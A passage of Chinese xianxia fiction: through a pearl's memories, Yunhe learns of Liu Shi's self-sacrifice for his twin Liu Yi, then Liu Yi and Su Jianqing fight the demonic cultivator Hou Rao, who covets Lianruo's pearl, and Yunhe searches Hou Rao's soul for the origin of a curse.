他目光眷恋地最后看莲若一眼,决绝转头,两手掐诀,昔日杀敌的剑气不断在主人身上割出伤痕,引出一股股血流。 “阿兄,不要!” 柳颐哭喊上前,却被结界弹出,有风将他托起,轻柔放置地面。 他膝行上前敲打结界,“阿兄,阿兄!” “嘘。” 笼罩在血河中的柳适温柔对他笑笑,轻声道:“小声些,别把阿若吵醒了。” “阿兄,你快停下啊阿兄!” 柳颐满脸是泪,“我不要你的血肉,我只要你活着。阿兄,你快停下!” “停不下来了。小颐,再见。” 嘴唇小弧度嚅动,柳适无声说了几个字,站在画面外的蕴禾并未辨认出。 她沉默看着画面内,属于柳适的血肉不断汇入柳颐体内,修补他自出生起便格外孱弱的身体。 柳颐麻木地被动承受着,泪水滴入血水中,哽咽呢喃,“阿兄,我不喜欢剑了。我再也不想学剑了。” “啪——” 画面如碎片般碎去。 蕴禾久久没缓过神来。像是为了转移情绪,她故意问飘浮在半空中的鲛珠,“这个时候,你应当在碎金手里,这些事你是如何得知的?” 鲛珠安静发光,无法作答。 蕴禾呼出一口气,倒也不是真的好奇。 妖族的能力千奇百怪,鲛人生活在海域,与她这种陆地妖极少打交道,更别说莲若出身鲛人王族,她的鲛珠有些特殊能力蕴禾也不奇怪。 她平复心情,点开下一道灵光。 画面中,柳颐枯坐在门前,呆呆地望着蔚蓝天空。 床榻上的莲若转醒,眼睫一睁便开始寻找柳适。见到坐在门前的身影,她赤足下榻,走过去从背后趴在他身上,“你怎么坐在这儿?” 一绺秀发垂落在柳颐耳侧,他浑身一僵。 莲若自然感受到了,“阿适,你怎么了?” “没、没什么。” 柳颐迟疑着握住莲若的手,脸色从开始的僵硬逐渐变为自然,他笑起,嗓音里满是欣喜,“阿、阿若,你现在的身体怎么样?” “身体?” 莲若感受一番,惊讶道:“我怎么感觉好很多了。” 柳颐背对着她,垂下的长睫内盛满悲伤,“我从母亲留下的札记里找到了救你的法子,阿若,你活下来了。” “真的?” 莲若先是惊喜,旋即担忧道:“这法子对你可有损伤?” 柳颐眼泛泪光,“只是需要休养几年,其他的并无大碍。” “那太好了!” 莲若下巴放在柳颐肩上蹭了蹭,“阿适,我们可以永远在一起了。” 柳颐停顿片刻,握着莲若的手站起,转过身对她笑道:“阿若,你不是想去观沧海吗?咱们现在就去如何?” 莲若一怔,看了柳颐许久。 就在柳颐略显慌乱,担心她看出什么时,莲若捶打柳颐肩头,“咱们就这么走了,小颐该怎么办?” 柳颐暗自松气,笑道:“小颐向来大气,不会责怪我们的,你只管告诉我,你想不想去?” 莲若重重点头,“想。” 画面破碎,所有灵光回到鲛珠体内,白色的未知空间开始坍塌。 床榻上的蕴禾骤然睁眼。 得知了前因后果,她内心说不出的复杂,冷冷道一声。 “愚蠢。” 可一想到那两人浓烈的情意,义无反顾为对方付出一切,她心里又有些难受。 情这一字,可真害人。 缓缓坐起身,指腹触碰到被衾,蕴禾微怔,轻哼一声。 这个苏见清,居然不打招呼就进她房间,擅自替她盖被,等他回来,非要让他给她做顿好吃的赔罪不可。 将棉被叠好放在一侧,蕴禾闭眼感受片刻,踏空朝某个地方走去,短短几息之间,她已现身海上那座楼阁上空。 蕴禾一脚迈入楼内。 进去后,她疑惑轻咦。 感应怎么断开了? 蕴禾转身,目光环视周围。 这是一间石室,左右各摆放两张博古架,上面放置着满满当当的玉简。 她后知后觉,这是进入那神秘黑袍人修炼的地方了? …… “阿、阿兄?” 柳适,哦不,柳颐怔怔凝望黑袍人的面容,声线因不可置信颤抖,“阿兄,真的是你?你还活着?” 柳适嘴角上扬,“小颐,当年我请求你代替我陪伴阿若,如今时机已到,你该把她还给我了。” 苏见清皱眉扫过一般无二的两张脸。 这些年与莲若生活在一起的,当真是柳适的胞弟柳颐? 那眼前自称柳适的人,又真的是他本人吗? 苏见清敛眉,悄然紧握长虹。 熟悉的声音令柳颐激动到双眼泛红,眼中似有泪涌出,可听清他的话后,泪意被柳颐逼退,他攥住双拳质问:“你不是我阿兄,你究竟是谁,为什么要扮成他的模样对阿若下手?” 柳适双眼微眯,往前一步逼近柳颐,“小颐,这些年你该不会对阿若动了情,想彻底取代我陪伴她,才不承认我这个阿兄吧?” “你仔细看看我,究竟是不是你的兄长。” 与他如出一辙的脸逼近,被缚住的柳颐退无可退,无比笃定道:“你绝对不是我的阿兄。” 苏见清侧眸,他为何如此肯定? 柳适气笑了,手掌张开,柳颐腰间玉剑陡然飞至掌中。 他玩味一笑,“你看,这么多年你都无法驱使的清风剑,在我手中却乖顺无比,我不是柳适,还能是谁?” 清风剑有灵,旧主去后,它再未出鞘。这些年来柳颐把它挂在腰间,存的是思念兄长的心思。 可即便如此,面对嘴角含笑的柳适,柳颐依旧坚定,“你不是我阿兄。” 柳适笑容微僵。 柳颐抬眼,眼泛泪光,“你可知阿兄死前对我说的最后一句话是什么?” 柳适脸色沉下。 迎着他阴沉的眸色,柳颐颤抖道:“他对我说,祝我与阿若凤协鸾和,地久天长。” 柳颐和柳适是对双生子,哥哥康健活泼,弟弟孱弱沉默,他们一同长大,拥有特殊的心灵感应,是这世间最了解对方的人。 柳适知道胞弟和他一样喜剑,从不在他面前练剑。知他向往自由,会背着弟弟避开老仆,偷跑出家,带他去看繁华市井,日升日落,樱花遍野。 阿兄,对柳颐来说,是这个世上最好的人。 长大后的阿兄离开了明莱城,柳颐羡慕的同时,又为阿兄自豪。 他想,以阿兄的天赋,很快就能名扬玄清,成为一代剑尊。 如他所想,清风剑柳适的名头在玄清域传得极快。听到阿兄的英雄事迹,柳颐常常坐在院前的柳树下,在脑中想象当时的情景。 或险象迭生,或意气风发,无一不令他骄傲。 阿兄走后的某一天,在院内作画的柳颐忽然心跳加速,一股陌生的感觉袭遍全身。 他说不清那是什么滋味,恍惚间仿佛重回年幼时,阿兄带他看的第一场日出。 金光穿透白云,红日喷薄而出,将大片天空渲染成红色。 那是当时的柳颐,见过的最美之景。 后来,阿兄传信而归,他在信中提起自己偶遇一位名为莲若的姑娘,清灵毓秀,天真懵懂,他一时兴起,与之结伴而行。 柳颐蓦地回想起那日的异常。 他想,原来阿兄那时候,是遇见了莲若姑娘。 此后,柳适传回来的信中,多数都有莲若的存在,他们一起游历玄清,行侠仗义,打抱不平。 从寥寥数笔中,柳颐在脑中勾画出莲若的形象。 单纯善良,天真貌美,宛如从神秘秘境中走出的灵,懵懂又热情地面对这个世界。 注意到自己不知不觉在纸上勾勒出一名姑娘的轮廓时,柳颐糟糕地发现,他的心乱了。 后来,阿兄带莲若归来,柳颐率先注意到的,是立在春日中娇俏姣美的姑娘。 他仿佛又看见了那场日出。 柳颐强迫自己移开视线,故作镇定看向自己的兄长,轻声唤他,“阿兄。” 少年藏起自己隐秘的情愫,未免露出破绽,他对莲若不冷不热,礼貌相待,反而一心陪在阿兄身侧,缠着他诉说这些年的经历。 阿兄笑容爽朗,温柔说予他听。 他们在家中停留的时日并不长,柳适和莲若走后,柳颐怅然若失。 为了割舍这段不该存在的感情,他强迫自己转移注意力,一门心思放在修炼上。 柳适虽因身体孱弱无法习剑,但他自幼钻研术法,且母亲未亡前特意为他寻来一件磨练神识的灵器,谋算着若是小儿子寿数不长,将来便是想尽办法,也要在他身亡前为他另造一具身体。 但这法子何等艰难,未及柳颐长大,柳母便坐化了。 如今母亲留下的灵器,成为了柳颐斩断情根的磨刀石。 一年又一年,就在莲若的身影逐渐在柳颐脑海中淡化时,柳适突然带着她回来了。 柳颐不知柳适为何要做出这个荒唐的决定,可看着浑身是伤,抽出全身血液的阿兄无声对他呢喃那几个字时,他忽然明白过来。 原来阿兄早就洞悉了他龌龊的心思。 他用他的命救下心上人,并成全弟弟多年的妄想。 如此无私又伟大的阿兄,怎么会在多年后突然归来,口口声声说要他把莲若还给他? 含在眼里许久的泪终于落下,柳颐面色痛苦,“如果阿兄真的活过来,只会笑着祝福我和阿若。” 眸中倒映着“柳适”僵硬阴鸷的神色,柳颐质问:“……所以,你这个冒牌货究竟是谁?” …… 本着知己知彼百战不殆的心思,蕴禾掌心一吸,所有玉简纷纷飞至身前,她快速扫过,一目十行浏览玉简中的内容。 小半个时辰后,蕴禾拂袖一挥,玉简回到原处。 都是些奇怪邪术,没什么好看的。 正要破除此间结界离开,余光骤然被一物吸引。 屋正中放置一张四角长桌,桌上一盏莲花灯,灯中躺着一枚翠绿玉简。 如此特殊,想来对主人来说应当十分重要。 蕴禾拿出玉简。 入手的刹那,她眉头一蹙,神色意外。 这好像是妖族之物? 神识探入玉简中,她蓦地一顿,僵在原地。 最上方赫然写着三个大字。 同生咒。 捏住玉简的手逐渐收紧,蕴禾深深吸气,平复完激动的情绪,重新将神识沉入玉简。 【同生咒,以血为引,以魂为契,一契分二,一为主,二为从,主契死,从契殁,不可逆转。】 同生咒。 蕴禾无声念着这三个字。 和她与苏见清的情况何其相似。每次苏见清一死,她必死无疑。 可这咒,她是什么时候被种下的? 记忆里,在离开妖域之前,她并未见过苏见清,更遑论与他立下血契。 且这东西明显是妖族之物,苏见清一个人修,又怎会与她一同被种下同生咒? 蕴禾心中疑虑重重。 她暂且按下,继续往后看,寻找解开咒术的方法。 神识往后扫过,【若想解除此咒,只需主契……】 后面的内容似是被人抹去,蕴禾再看不清。 她手攥得极紧,恨不得把玉简捏成齑粉。 什么玩意?! 蕴禾气极,猛地将玉简丢出去。 她用了极大力气,玉简似流光般往墙壁上砸去。二者相撞的前一瞬,一道绿色屏障凭空出现,把玉简反弹回去,被一只手稳稳握在掌心。 蕴禾深吸气,告诉自己冷静。 这东西还有用处,不能将它摔碎了。 寒着脸把玉简收入储物手链,冷漠的目光扫过石室内的所有秘法。 蕴禾冷冷勾唇,手握成拳。 庞大妖力自她手中爆开,全方位向外蔓延。所有玉简在触碰到妖力的刹那瞬间湮灭成灰,化为数道灵光飘荡在空中。 姑娘的眉眼笼罩在幽幽灵光下,清幽沉静,不怒自威。 …… “你是后饶。” 青年笃定的嗓音散在空中,如利刃击破“柳适”的所有表情。 柳颐抬首,神色无比冷静道出自己的猜测。 “阿兄曾与我说起当初在北郡石林的遭遇。他说,他燃烧神魂才与后饶同归于尽。阿若在废墟中只找到阿兄,却不见后饶的身影,有没有可能,当初他并没有死,而是趁机将元神藏入阿兄识海,躲过了一劫?” 柳颐嗓音冷漠,“后来阿兄献祭与我,庞大的生机从他体内涌出的瞬间,也给了你存活的希望,你趁机蛰伏在暗处,寻找报复的时机。” 这种猜测合理合据,苏见清拧眉打量“柳适”,心里已信了三分。 阴晴不定的脸色逐渐定格,神情从阴鸷变为舒缓,嘴角轻轻勾起,后饶赞许道:“你倒是比你的兄长聪明。” 猜对了。 柳颐咬牙。 修长苍白的手指抚摸侧脸,后饶轻叹,“当初吸收了你阿兄的精血,我才能重聚元神,重塑肉身。可也正因如此,我重新拥有的□□,竟是他的模样。” 后饶耸肩,“也不知是幸还是不幸。” 柳颐眼眶通红,切齿骂道:“贼人,你偷了我阿兄的命,如今却来为难他的心上人,真不是个东西。” 后饶嘴角拉直,清矍脸庞浮现一股阴柔之气,“话可不是这么说的,当年若非你阿兄,我怎会落到如今的地步?” “若非你觊觎阿若的鲛珠,我阿兄怎会对你下死手?” 说到鲛珠,后饶眼里冒出异样的神采,似绝境者忽遇海市蜃楼,眸光亮到令人心惊。 他弯起唇,柔声对柳颐道:“有件事你猜错了,我寻阙以莲若,并非为了报复。你这么聪明,应该知道我在想什么吧?” 柳颐瞳孔震颤。 下一瞬,后饶猛然朝莲若飞去。 “住手!你别动她!” 柳颐大喊,拼命挣扎。 苏见清见势不妙,手持长虹急掠追上。 “嗡——” 房内忽有黑芒亮起,魔气形成的结界将莲若与后饶紧紧罩住。 苏见清的剑落在结界上,后者嗡鸣一刹,渐渐地不动了。 他再度斩出一剑,那结界巍然不动。 苏见清拧眉,当机立断转身,破开柳颐身上蛛丝。 好歹也是个化神修士,有他帮忙,破除结界的机会要大些。 结界中,后饶抬指,魔力立即簇拥在莲若周围,将她抬在半空,旋即化为绳索紧紧束缚住四肢。 柳颐焦急挣脱,“后饶,你要对她做什么?!” “我要做什么,你应该很清楚才是。” 后饶苍白的脸上浮现笑容,手指轻勾,一道魔气从指尖溢出,钻出莲若鼻中。 她眉头紧皱,眼睛缓缓睁开。石室入目的一刹那,莲若眸底浮现茫然。 “……这是……哪儿?” 后饶温声含笑,“此处是我的居所。” 莲若下意识朝他看去,眸色怔然,轻声呢喃,“……阿适?” “我不是柳适。” 后饶靠近莲若,长指挟制她的下巴,将她的脸转向柳颐的方向,“你的夫君在那儿。” “不过……” 低低柔柔的声音在耳畔响起,后饶笑道:“他也不是柳适,而是柳适的胞弟,柳颐。” “这些年,待在你身边的一直都是他,柳适,早就已经死了。” 温柔似水的眼睛静静凝望柳颐,他挣扎的动作一顿,“阿若,等杀了这人救你出去,我再向你解释。” 话落,身上灵气骤然攀升,属于化神期的威压盈满整个石室。 与此同时,苏见清眉眼染上寒霜,长虹剑身寒冷如冰,重重落在蛛丝上。 “啪嗒。” 莲若挂在眼角的泪落下,在半空化为珍珠急坠而下。 一只手将之稳稳接住,后饶两指捏着珍珠,赞美道:“不愧是阙以氏最美的王女,就连泪水都这么美。” 他闷声而笑,凑近莲若,一声声宛如恶魔低语,“你恨吗?你以为的如意郎君,不过是别人冒名顶替。而你的心上人,却早已在多年前便已死去。” “我其实有些疑惑,你可是真心爱慕柳适?若是,为何连枕边人都认不出?” 珠串从眼中滚落,莲若猛地抬起猩红的眼,胸前剧烈起伏,全身魔气震荡。 后饶仿佛看不见她身上逐渐攀升的魔气,仿佛当真好奇,“还是说,你人尽可夫,只要是那张脸,无论是谁都可以?” 他轻声而笑,暧昧道:“那你觉得,我如何?” 莲若眼中红意越盛,表情狰狞,“你闭嘴!” “噗呲——” 突破束缚的柳颐当即飞身而上,见状目眦欲裂,“阿若!” 苍白修长的手掌没入莲若胸膛,她表情空茫,紫色鲜血转瞬将衣裙沾湿。 后饶嘴角笑意越发灿烂,眼中涌出痴迷的光。 鲛人王族最美的小公主,在极度愤恨绝望中被剖出的鲛珠会是什么样的? 那一定极美,美到令人神晕目眩。 手掌在莲若体内翻找,后饶嘴角笑意僵住,不可置信地破声吼道:“你的鲛珠呢?!” “鲛珠,鲛珠!” 后饶收回手,握住莲若单薄双肩,神情癫狂质问:“你的鲛珠去哪儿了?去哪儿了?!快把鲛珠交出来!” 他力气极大,莲若肩膀印出紫色血印,疼得脸色煞白,“我的鲛珠,早在百年前,就已经没了。” 后饶不可置信,眼珠里攀上血丝,“没了鲛珠,那你是怎么活下来的?” 掐住莲若脸颊,他疯了一样质问,“说,你是不是在骗我,快把鲛珠交出来!” “放开她!” 柳颐和苏见清从身后攻来,剑气与剑阵齐齐轰在结界上。 “咔嚓——” 结界裂开一道细纹。 柳颐再度扔出一个法印,剑阵裹挟着滔天火意,以势不可挡之势轰灭结界。 “阿若!” 柳颐着急朝莲若掠去。 没了鲛珠,阙以莲若对后饶来说不过是个废物,他抓住莲若肩膀挡在自己身前,硬生生逼停了柳颐和苏见清的攻势。 “无耻!居然拿女人做挡箭牌。” 柳颐咬牙骂道。 后饶脸上虚假阴柔的笑消失不见,冷漠道:“没了鲛珠,你们都去死吧。” 他一掌拍向莲若后背。 “噗——” 紫色血珠溅到脸上,柳颐长睫颤抖,被灼烧一般全身猛烈抖动。 “阿若!” 他颤抖着接住莲若雨打莲花虚弱的身子,手掌抚摸她苍白侧脸,“阿……阿若……” “你。你别怕,我会救你,我一定能救你。” 柳颐取出一瓶灵丹,一股脑倒入莲若口中,运起灵力为她疗伤。 莲若将手虚虚放在他手背上,气若游丝,“我知道。” 柳颐浑身一颤,“什么?” 莲若只说了这一句,剩下的话淹没在呕出的鲜血中,再无法出口。柳颐颤抖着手再度往她嘴里塞进一颗灵丹,催促道:“阿若,阿若,你快吞下去,快吞,快啊。” 莲若艰难把灵丹咽下。 柳颐见状松了口气。 一颗玉石袭向二人,被苏见清持剑截下。 他侧首,语速极快,“柳颐前辈,我们先联手把这魔修拿下。” 柳颐猛然回神,小心翼翼把莲若放下,抬手布下结界,倏地起身朝后饶攻去。 后饶的武器乃是他手中源源不断的玉石珠子,这些珠子无处不在,层出不穷,极难应付。 柳颐以手作画,带动灵气在空中画出一道道灵符,这些符篆灵光大亮,数道剑气从内涌出,将玉石刺穿。 苏见清抬手挥剑,剑气裹挟着寒气,所过之处寒雾涌现,笼罩住携带魔气爆炸的玉珠,寒雾散去时,唯余一堆被碾灭的冰碴。 这二人合力消灭不少玉珠,但后饶不慌不忙,抬袖一挥,又是一片玉珠涌现。 玉珠在靠近苏见清与柳颐时陡然爆炸,魔气趁机缠绕而上,蚕食它最喜爱的修士血肉。 柳颐将手臂魔气震开,冷言讽刺,“百年前,无论你这人如何,好歹也是玄清域的修士,如今转求魔道,弄得这不人不鬼的样,可真令人厌恶。” 后饶神色一冷,“这不都是拜柳适所赐?若不是因为他,我何至于沦落到如今的地步。” 嘴角轻轻一翘,他勾出一抹笑,“不过这也不算坏事,他让我知道,魔修,远比人修强大。” “口出狂言。” 苏见清冷冷一刺,“如你这般的魔修,人人得而诛之。” 后饶睨他,笑意温柔,“那我今日倒要看看,你这小修士,如何能诛得了我。” 语罢,他再度丢出上百颗玉珠。 苏见清正要挥剑,柳颐蓦地急声阻止,“别动!” 晚了。 苏见清那一剑已然挥出。 玉珠唰唰坠落,他不解回头,“怎么了?” 柳颐脸色难看,“中计了。他在布阵。” 什么? 苏见清霍然抬头。 石室之中有灵光亮起。 数颗玉珠连起,如一幅密密麻麻的星图,星子闪烁,星光灿烂。 “轰——” 魔气形成的结界升起,阻断苏见清与柳颐*之间的路。 头顶玉珠灵光大亮,组成一只鹿形妖兽。那妖鹿活灵活现,神情生动,不似玉石,倒真像是妖兽。 它对苏见清轻轻叫了两声,下一刻,仿佛嗅到了什么,澄澈鹿眼陡然变红,一脸狰狞朝苏见清撞来! 苏见清眉头一拧,长虹竖起,朝妖鹿劈砍而下。 妖鹿凶戾长啸,毫不畏惧抬起鹿角迎上。这妖鹿极为凶猛,不管不顾撞上长虹剑,像是拼尽全力也要将面前人击杀。 苏见清眉头微拧,提剑将之斩杀。 长虹穿过身体的刹那,妖鹿猩红的鹿眼闪过混沌迷茫,身体化为玉珠散去。 苏见清遽然抬眸,凤眸掠过寒凉之意,冷冷盯着后饶,“你将这妖鹿的躯体斩杀,还拘禁了它的神魂。” 后饶温柔一笑,凝望空中身影淡去的妖鹿,赞道:“它的妖丹很漂亮,干净澄澈,像一汪湖水,我挺喜欢。” 苏见清眸色沉下。 他原以为,此人执着于莲若的鲛珠,或许有什么无法为外人道也的原因,可现在看来,他纯粹就是喜欢。 喜欢玉石,妖兽的妖丹,鲛人的鲛珠。 哪怕曾为之付出性命,这份喜欢执念依旧令他对莲若念念不忘。 苏见清莫名想到蕴禾。 阿蕴姑娘也是妖,倘若他见到她,会不会也想剖了阿蕴姑娘的妖丹? 深吸一口气,苏见清目色坚毅。 他绝不会让这种事发生。 握紧长虹,正要破开结界,散开的玉珠陡然开始分裂,一生二,二生四,化为无数只不同的妖兽,张牙舞爪向他冲来。 苏见清无法,只能暂时先应付这些妖兽。 可这些妖兽实在太多了,杀完之后又有新的诞生,杀之不尽。哪怕苏见清如今已是元婴,应付得也颇有些吃力。 又一只妖兽死于苏见清剑下,他还未松口气,半空中魔气涌动,又有一只妖兽诞生。 他目光一沉,攥紧剑柄。 此次汇聚的玉珠比以往的任何一次都要多,魔气滚滚,黑压压的仿佛一层雾霭笼在心上。 看来这次的妖兽不好对付。 苏见清霍然看向柳颐,“你还要多久?” 后者仰望此间结界,眸中有卦图闪现,五指快如残影,不断掐算阵眼,闻言沉声道:“再给我一刻钟。” 苏见清挽了个剑花,目光紧盯空中魔气。 翻腾的魔气逐渐散去,两道身影浮现。 那是两只一模一样的妖狼,瞳色猩红,玉珠组成的身体泛起灰色,它们仰天长啸,尖锐利齿闪过寒光。 啸声引得结界内空气震荡,狂风卷动苏见清袍角,泛白的双唇轻抿。 竟是两头化神期的妖狼。 但那又如何? 苏见清神色沉静冷冽。 他不惧。 两头妖狼垂首盯住苏见清,猩红的眼浮现人性化的怨恨憎恶,低吼一声,齐齐朝苏见清俯冲而去! 后饶仰头,感慨道:“这两头妖狼乃是一母同胞,一冰一火,极为难缠。想当初哪怕是我,也费了极大的力才将之斩杀。” 他嗓音含笑,“年轻人,祝你好运。” 苏见清没工夫搭理他。这两头妖狼狡猾又凶猛,一个喷火,一个吐冰,可奇怪的是,这二者却并不相克,他只觉一半身子处于烈火灼烧中,另一半却似置身于千年玄冰之内。 这种感觉只存在了一刹,忽有一阵凉风吹遍全身,将烈火与寒冰齐齐卷走。 苏见清微怔,眸色陡然发亮。 是阿蕴姑娘送给他的玉婵纱衣。 年轻剑修眸光清湛,毫不畏惧持剑攻上。 冰火不起作用,妖狼的威力大减,苏见清顿觉轻松不少。但这两头妖狼也不是吃素的,长啸朝苏见清攻来。 妖狼的牙齿锋锐尖利,与苏见清剑身相撞时发出铿锵响声。它们的速度极快,身形如鬼魅穿梭在苏见清周身。 长虹凝起一抹蓝光,苏见清一跃而起,身体在空中翻转,一剑刺在身后妖狼身上。 剑尖仿佛撞上山岳,妖狼的身体坚硬无比。 苏见清眸色一沉,掌中用力,长虹顿时亮起耀眼蓝光,冰雪自剑尖蔓延,瞬间冻结了妖狼半边身躯。 见识了你的冰,那也来见识见识我的。 苏见清眸色清亮,正要再度刺下长虹,就在这时,另一头妖狼猛地朝他扑上,张口凶猛咬在苏见清小臂。 剑修身子侧转险险避开,手掌握紧剑柄,眸色略沉。 属火的妖狼咆哮朝同伴吐出烈火,滋滋的声音在空中传响,苏见清的冰被火融化,冰水顺着妖狼的身体滴落,它甩动毛发,喉间发出一声嘶吼。 地面水珠随着它的声音飘起,猛地化为冰锥向苏见清攻去。 与此同时,两头妖狼再度朝他扑去! 长虹打落数枚冰锥,苏见清一抬头,两头妖狼已近在咫尺。 他双唇紧抿,眉心蹙起,余光眼尖地瞥见一头妖狼耳尖若隐若现,仿佛被什么东西擦去。 柳颐的声音远远传来,“破!” 苏见清眸光大亮,长虹灵光大亮,一跃而上,剑气如虹刺穿一只妖狼身体。 妖狼咆哮的表情僵住,身形化为无数个玉珠,轰然散开。 另一头妖狼悲伤低吼,同样消散。 苏见清转头,只见玉珠熠熠生辉,如坠落星子散落满空,璀璨绚烂。 一道身影躺在漫天灵光中,苍白的脸被映衬得似雨打梨花,脆弱清丽。 柳颐声嘶力竭地吼,“阿若!” 第58章 黑袍仿佛团团浓雾,一只苍白的手从雾中探出,朝地面的莲若抓去。 与柳颐相同的脸上,是毫不相符的阴狠毒辣。 柳颐距离极远,根本来不及将莲若从后饶掌中救下,苏见清毫不犹豫飞身而上,划出一剑拦截后饶。 可他的剑气落在后饶小臂,却似风过无痕,丝毫未曾阻拦后饶的速度。 苏见清脸色微沉,运起全部灵力跃上,挡在后饶与莲若之间。 蕴含庞大魔力的一掌落在后背,苏见清气血翻涌,嘴角溢出血迹,曲起双膝跪在莲若身旁。 “咦?” 后饶拧眉,语气里皆是不解,“你竟然没死?” 上上下下将苏见清端详一通,视线锁住他身上衣衫,后饶意味不明哼笑两声,“妖族的顶级防御灵器玉婵纱衣,你这剑修到底什么来头?” 苏见清抹去嘴角鲜血,转身握紧长虹,将莲若护在身后,“无名小卒,不足挂齿。” 后饶眸色晦暗。 能将玉婵纱衣穿在身上,这剑修定然认识妖族某位大能。 今日若是放过他,来日许有大麻烦。 这念头落定,后饶骤然向苏见清出手。他招式狠辣,魔气如蛇缠绕住苏见清,玉珠防不胜防从浓墨般的魔气中飞出,在他颈边爆炸开! 苏见清持剑去挡,然那玉珠不仅多且密,攻击的角度也极为刁钻,他一时不备,被一颗玉珠击中后颈。 玉珠在触碰到肌肤的刹那爆开,白皙颈子瞬间血气弥漫。苏见清并未在意,往后抹去血迹,继续挥剑。 在他没看见的角落,一缕黑气顺着伤口往里钻去,悄无声息将自己隐藏在苏见清体内。 “阿若!” 彻底破除阵法的柳颐飞奔而来,查看莲若的伤势。 姑娘虚弱躺在原地,对他小弧度摇头,声音微不可闻,“……我没事,你快去帮苏公子。” 柳颐抿唇,抬手再度给她施两层结界,飞身而上,掠过苏见清时一掌将他推到莲若身边。 “护好阿若。” 苏见清抬首,一个“好”字还未出口,柳颐已越过他,与后饶斗在一处。 他以剑拄地,老老实实站在莲若旁边。 柳颐虽极少与人斗法,但好歹也是个货真价实的化神修士,更别说如今正是愤怒的时候,可谓是越战越勇。 他的术法多样且诡异,后饶竟一时拿他没法。 目光越过他落在莲若和苏见清身上,他眸色不断变换。 柳颐眉间怒色涌动,两指并拢,灵气在指尖游走,被后饶丢下的玉剑发出并不明显的嗡鸣声。 “你不是想知道阿若的鲛珠在哪儿嘛?” 后饶霍然抬头,目露精光,激动问道:“你知道?!” “我知道。” 柳颐道:“一直都知道。” “在哪儿,你快说!”后饶焦急追问:“只要你说出鲛珠所在,你们三人,我可以放过。” 柳颐眸底轻嘲,嘴角上扬,尾音拉长,“在……” 在后饶急迫的神色中,柳颐目色骤厉,“在地狱。” 玉剑骤然升空,以迅雷不及掩耳之势绕过柳颐,往后饶脑后刺去! 后饶大部分心神皆放在鲛珠下落上,竟一时不察,根本无处可躲。 他盯着柳颐的眸里泄露出怨恨,“你骗我。” 柳颐笑容将将扬起,“当然不是……” 下一瞬陡然僵住。 “定。” 慵懒略显沙哑的女声从远方而来,如钟声在众人耳旁落响。 刺向后饶的玉剑霍地定住,虚浮在半空。散落的玉珠停止闪烁,漫天灵光亮起,将此地照得亮如白日。 后饶脸上怨愤定格,只有一双眼珠露出诧异。 虚空中出现一道身影,姑娘一袭青衣,款款而来。素手握住玉剑,反手一掷,将之送回柳颐腰间。 她拂袖一挥,被强行暂停的玉珠重新闪烁,众人僵硬的身体得以正常活动。 “阿蕴姑娘!” 苏见清惊喜唤道。 听到这个名字,柳颐恼怒,指着后饶怒道:“这人伤了阿若,你要救他?” 蕴禾秀眉轻抬,不怒自威,“你在教我做事?” 她冷嗤,“先前我许是太给你脸了,导致你现在蹬鼻子上脸,敢质疑我的决定。” “你……!” 柳颐隐忍,脖颈一侧青筋凸显,转道对苏见清斥道,“她不是你的道侣?你不管?” “道侣”两个字令苏见清神晕目眩,指尖发麻。 他掩饰性双手交握,嘴角抿出一点笑,“我相信阿蕴姑……阿蕴有她自己的原因。” 柳颐简直要被这两人气死! “这位妖君,多谢您的救命之恩。” 后饶能屈能伸,拱手对蕴禾致谢。 蕴禾被他和柳颐相同的脸晃了一眼,眉一压沉声道:“你谢错了,我不是救你,而是有问题想问你。” 伸出手,一枚玉简出现在掌中,她冷声问:“这东西你是从哪儿来的?” “你去了我的密室?!” 后饶震惊。 他那密室极为隐秘,没有他的神识谁也不能进去,眼前这个女妖修,是怎么进去的? 蕴禾不耐烦道:“你别管我怎么进去的,你只需要回答我的问题。这枚玉简,你究竟是从何处得来的?” 后饶抿唇不语,似在权衡。 蕴禾不悦动眉,将玉简收起,掌心一翻,露出某样东西,“你说是不说?” “鲛珠?!” 后饶与柳颐同时震惊出声。 前者目露痴迷,目光一眨不眨地盯着那颗流光溢彩的鲛珠,喃喃道:“美,不愧是阙以氏王女的鲛珠,可真美啊。” 美得令他目眩神夺。 柳颐则质问:“阿若的鲛珠怎么会在你手上?!” 蕴禾懒得搭理他,一个眼神都没丢过来。 苏见清只好低声解释,“是枫泠城碎金城主给阿蕴的谢礼。” 枫泠城,碎金城主。 久违的称呼令莲若有片刻的恍神,她看着那颗鲛珠,眸色极为复杂。 “还不说?” 蕴禾不耐将鲛珠收起,后饶立马惊慌伸手,大呼道:“别,别!我说,我说!” “是在妖域,妖域得到的。” 蕴禾冷冷看过去,后饶立即全盘托出。 “我自幼痴迷玉石,无论珍贵与否,凡是好看的,皆要收藏。” 似是想起昔年时光,后饶面露怀念,“为此,我四处游离,立志收藏玄清域所有玉石。可随着收藏越多,我心里越是不满足。我还想要更多,更好看的玉石。” “偶然一次机会,我见到了妖修的妖丹。” 后饶眼里流露出痴迷的神色,“那是一头白狐的妖丹,通体莹白,似雪洁白,又如皎洁月色,美得令我心醉。” “我第一次知道,这世上还有这么美的东西。” “我收藏了许多妖修的妖丹,但皆无狐族的貌美。后来得知,狐族与鲛人族乃是妖族出了名的美人,我便心心念念想要得到一颗鲛人的鲛珠。” “为此,我在混乱的妖域待了多年,可不等我前去南曲海,妖域封闭,我被迫离开。” 蕴禾不耐将之打断,“这和那枚玉简有何关系?” “当然有关。” 后饶道:“这枚玉简,便是我在前去南曲海的路上,在一座荒山所得。” “荒山?” 蕴禾拧眉,“什么样的荒山?” 后饶回忆,“那荒山是何模样我已记不太清,只记得它形如卧虎,寸草不生,极少有妖修靠近。” 蕴禾听不明白,在后饶狐疑的眼神中把手放在他头顶。 妖力猛然从掌中爆开,后饶目色失焦,眉头紧皱,额头脖颈青筋显露,极为痛苦地嘶吼。 “啊!” 搜魂。 柳颐后背发凉,看向蕴禾的目光复杂难辨,下意识退至莲若身旁,将她抱在怀里。 一言不合便搜魂,这女妖修着实是个狠角色。 他偏头看了眼苏见清。 敢与她结为道侣,这伏渊剑修的胆子也不小。 不过柳颐深恨这后饶,他死得越惨烈,他心里才越舒服,痛快道:“搜完魂,此人不死也废。” 苏见清目不斜视,轻声道:“此人杀了那么多妖修,阿蕴作为他们的同胞,为他们报仇也是理所当然。” 柳颐一怔,余光去看莲若。 她怔怔望着蕴禾与后饶,那双温柔的眼里流露悲伤。 他看了许久,眸光逐渐暗淡。 无数记忆碎片在蕴禾眼前掠过,看清后饶记忆中那座荒山的模样,与他如何得到的玉简,蕴禾这才收手。 后饶泄力跌坐在地,抱着脑袋头痛欲裂,“疼,好疼啊!” “为什么……我如实所说,你为何要这么对我?” 